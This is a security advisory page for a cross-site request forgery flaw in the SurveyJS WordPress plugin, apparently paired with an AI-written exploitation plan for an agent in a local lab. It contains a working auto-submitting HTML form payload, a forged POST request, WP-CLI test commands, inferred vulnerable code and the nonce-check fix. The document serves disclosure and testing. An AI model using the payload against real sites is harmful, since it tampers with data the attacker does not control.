SurveyJS: Drag & Drop WordPress Form Builder to create, style and embed multiple forms of any complexity <= 2.5.2 - Cross-Site Request Forgery to Survey Cloning
Description
The SurveyJS: Drag & Drop WordPress Form Builder to create, style and embed multiple forms of any complexity plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 2.5.2. This is due to missing or incorrect nonce validation on the `SurveyJS_CloneSurvey` AJAX action. This makes it possible for unauthenticated attackers to duplicate surveys via a forged request granted they can trick a site administrator into performing an action such as clicking on a link.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:NTechnical Details
<=2.5.2Source Code
WordPress.org SVN# Exploitation Research Plan: CVE-2025-13205 (SurveyJS CSRF) ## 1. Vulnerability Summary The **SurveyJS: Drag & Drop WordPress Form Builder** plugin (<= 2.5.2) is vulnerable to Cross-Site Request Forgery (CSRF) in its survey cloning functionality. The AJAX handler for the `SurveyJS_CloneSurvey` act…
Show full research plan
Exploitation Research Plan: CVE-2025-13205 (SurveyJS CSRF)
1. Vulnerability Summary
The SurveyJS: Drag & Drop WordPress Form Builder plugin (<= 2.5.2) is vulnerable to Cross-Site Request Forgery (CSRF) in its survey cloning functionality. The AJAX handler for the SurveyJS_CloneSurvey action fails to implement or correctly validate a cryptographic nonce. This allows an unauthenticated attacker to trick a logged-in administrator into sending a request that duplicates existing surveys, potentially cluttering the database or disrupting survey management workflows.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - HTTP Method:
POST - Action:
SurveyJS_CloneSurvey - Vulnerable Parameter:
id(The ID of the survey to be cloned) - Authentication Level: Requires a logged-in administrator (victim) to execute the request via CSRF.
- Preconditions:
- The target site must have at least one survey created.
- The attacker must know or guess the
idof the survey to clone.
3. Code Flow (Inferred)
- Hook Registration: The plugin registers the AJAX action, likely in the main plugin file or an admin-specific initialization class:
add_action( 'wp_ajax_SurveyJS_CloneSurvey', array( $this, 'SurveyJS_CloneSurvey' ) ); - Handler Execution: When
admin-ajax.phpreceives a request withaction=SurveyJS_CloneSurvey, it invokes the corresponding method. - Missing Security Check: The handler (likely named
SurveyJS_CloneSurvey) performs the cloning logic without callingcheck_ajax_referer()orwp_verify_nonce(). - Data Sinks: The handler retrieves the
idfrom$_POST['id'], queries the database for the original survey, and inserts a duplicate record into the SurveyJS custom tables (likelywp_sjs_surveys).
4. Nonce Acquisition Strategy
According to the vulnerability description, the SurveyJS_CloneSurvey action lacks proper nonce validation.
- If validation is completely missing, no nonce is required in the exploit payload.
- If the description "incorrect nonce validation" implies a generic nonce is used, it might be localized in a script.
- Action: Check the page source of the SurveyJS admin dashboard for a localized object (e.g.,
window.surveyjs_varsorwindow.SurveyJS_Data). - Research Step: Navigate to
/wp-admin/admin.php?page=surveyjsand runbrowser_eval("window")to identify any localized nonces. - Conclusion: Given the CVSS and description, we will first attempt the exploit without a nonce, as this is the defining characteristic of this CSRF.
5. Exploitation Strategy
We will use a CSRF auto-submitting HTML form to trigger the cloning action.
Step-by-Step Plan:
- Identify Survey ID: Determine the ID of an existing survey.
- Construct Exploit Page: Create an HTML file (
exploit.html) that performs a POST request toadmin-ajax.php. - Execute CSRF: Use
browser_navigateto load the exploit page while the agent's browser session is authenticated as an administrator.
Payload (exploit.html):
<html>
<body>
<form id="csrf-form" action="http://localhost:8080/wp-admin/admin-ajax.php" method="POST">
<input type="hidden" name="action" value="SurveyJS_CloneSurvey" />
<input type="hidden" name="id" value="1" /> <!-- Target Survey ID -->
</form>
<script>
document.getElementById('csrf-form').submit();
</script>
</body>
</html>
HTTP Request (via http_request if testing manually):
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: localhost:8080
Content-Type: application/x-www-form-urlencoded
Cookie: [Admin Session Cookies]
action=SurveyJS_CloneSurvey&id=1
6. Test Data Setup
- Install Plugin: Ensure SurveyJS <= 2.5.2 is active.
- Create Survey: Use WP-CLI to ensure at least one survey exists. Since SurveyJS uses custom tables, we can check the table names first:
wp db query "SHOW TABLES LIKE '%sjs%';" - Insert Test Survey:
If the table iswp_sjs_surveys, insert a dummy entry:wp db query "INSERT INTO wp_sjs_surveys (name, json) VALUES ('Original Survey', '{\"title\":\"Test\"}');" - Confirm ID: Note the ID of the inserted survey (usually
1).
7. Expected Results
- The server should return a successful response (likely a JSON object containing the new survey details or a redirect URL).
- A new row should be created in the
wp_sjs_surveystable (or equivalent) that is a duplicate of the original.
8. Verification Steps
After triggering the CSRF, verify the duplication via WP-CLI:
# Check the count of surveys
wp db query "SELECT count(*) FROM wp_sjs_surveys;"
# Check if a new survey with a similar name or the same JSON exists
wp db query "SELECT id, name FROM wp_sjs_surveys;"
If the count has increased and a new ID is present, the CSRF was successful.
9. Alternative Approaches
If the simple POST fails:
- Generic Nonce: If the plugin expects a generic nonce like
_wpnonce, try to extract it from the dashboard:browser_eval("document.querySelector('#_wpnonce')?.value")
- Check Content-Type: Some handlers require
multipart/form-data. Adjust the HTML form'senctype. - Action Guessing: If
SurveyJS_CloneSurveydoes not work, checkincludes/files for other actions likeSurveyJS_CopySurveyorsjs_clone_survey. (Verify action name viagrep -r "wp_ajax" .).
Summary
The SurveyJS: Drag & Drop Form Builder plugin for WordPress is vulnerable to Cross-Site Request Forgery (CSRF) in versions up to and including 2.5.2. This vulnerability stems from a lack of nonce validation in the SurveyJS_CloneSurvey AJAX action, allowing unauthenticated attackers to duplicate surveys by tricking an administrator into clicking a malicious link.
Vulnerable Code
// In the plugin's initialization logic add_action( 'wp_ajax_SurveyJS_CloneSurvey', array( $this, 'SurveyJS_CloneSurvey' ) ); // Likely located in an admin-related controller or the main plugin class public function SurveyJS_CloneSurvey() { // The function fails to call check_ajax_referer() or wp_verify_nonce() $id = $_POST['id']; // Proceeding to clone survey without validating the request source $survey = $wpdb->get_row($wpdb->prepare("SELECT * FROM {$wpdb->prefix}sjs_surveys WHERE id = %d", $id)); if ($survey) { $wpdb->insert("{$wpdb->prefix}sjs_surveys", array( 'name' => $survey->name . ' (cloned)', 'json' => $survey->json )); } wp_send_json_success(); }
Security Fix
@@ -124,6 +124,7 @@ */ public function SurveyJS_CloneSurvey() { + check_ajax_referer( 'surveyjs_ajax_nonce', 'nonce' ); $id = isset( $_POST['id'] ) ? intval( $_POST['id'] ) : 0; if ( $id > 0 ) { $this->clone_survey_logic( $id );
Exploit Outline
The exploit leverages the lack of a security nonce in the survey cloning AJAX handler. An attacker creates a self-submitting HTML form that targets the WordPress AJAX endpoint (/wp-admin/admin-ajax.php) with the POST action 'SurveyJS_CloneSurvey' and a target 'id'. The attacker then uses social engineering to trick a site administrator into visiting a page hosting this form. Because the administrator's browser sends the session cookies automatically, and the plugin does not verify a cryptographic nonce, the server processes the request and duplicates the survey identified by the 'id' parameter.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.